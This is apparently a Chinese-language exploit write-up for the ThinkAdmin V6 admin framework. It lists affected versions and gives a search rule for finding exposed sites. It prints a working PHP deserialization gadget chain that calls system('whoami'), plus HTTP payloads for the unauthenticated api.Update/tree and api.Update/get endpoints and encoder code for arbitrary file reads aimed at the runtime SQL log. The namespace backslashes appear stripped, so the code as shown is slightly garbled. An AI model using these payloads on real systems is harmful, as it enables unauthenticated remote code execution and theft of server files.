thinkadmin V6 漏洞总结

0x00 漏洞原理

插件控制器未加认证，直接无需认证利用，github提的issue说是任意文件读取，其实再早之前还有反序列化

 

0x01 漏洞影响

• 任意文件读取代码 自2019年11月1日至2020年8月3日前的所有版本
• 反序列化代码自2019年11月1日至2020年6月16日前所有版本

0x02 cms搜索规则

title="thinkadmin" && body="v6.0"

0x03 漏洞利用

反序列化

测试链子发现mac和win都可以触发，唯独在linux下用不了，原因是__destruct触发不了

后请教了一下七月火师傅，将序列化本来直接传object改成传数组解决了

链子代码：（来源于90sec）

<?php
namespace think;
use thinkmodelPivot;
abstract class Model{
    private $lazySave = false;    # save()
    private $exists = false;    # updateData()
    protected $connection;
    protected $name;            # __toString() Conversion.php =>Pivot
    private $withAttr = [];        # assert
    protected $hidden = [];
    private $data = [];
    protected $withEvent = false;
    private $force = false;
    protected $field = [];
    protected $schema = [];

    function __construct(){
        $this->lazySave = true;
        $this->exists = true;
        $this->withEvent = false;
        $this->force = true;
        $this->connection = "mysql";
        $this->withAttr = ["test"=>"system"];
        $this->data = ["test"=>"whoami"];
        $this->hidden = ["test"=>"123"];
        
        $this->field = [];
        $this->schema = [];
    }
}
namespace thinkmodel;
use thinkModel;
# Model 是一个抽象类，我们找到它的继承类，此处选取的是 Pivot 类
class Pivot extends Model{
    function __construct($obj=""){
        parent::__construct();
        $this->name = $obj;        # $this->name放子类构造方法中赋值，直接放基类属性中初始化不成功
    }
}
$a=new Pivot();
echo urlencode(serialize([new Pivot($a),123]));

payload：

/admin/login.html?s=admin/api.Update/tree
host:
Content-Type: application/x-www-form-urlencoded

rules=

任意文件读取

encode代码：

<?php
function encode($content)
{
    [$chars, $length] = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];
    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);
    return $chars;
}
echo encode('runtime/admin/log/single_sql.log')；
?>

payload:

/admin/login.html?s=admin/api.Update/get/encode/加密的字符串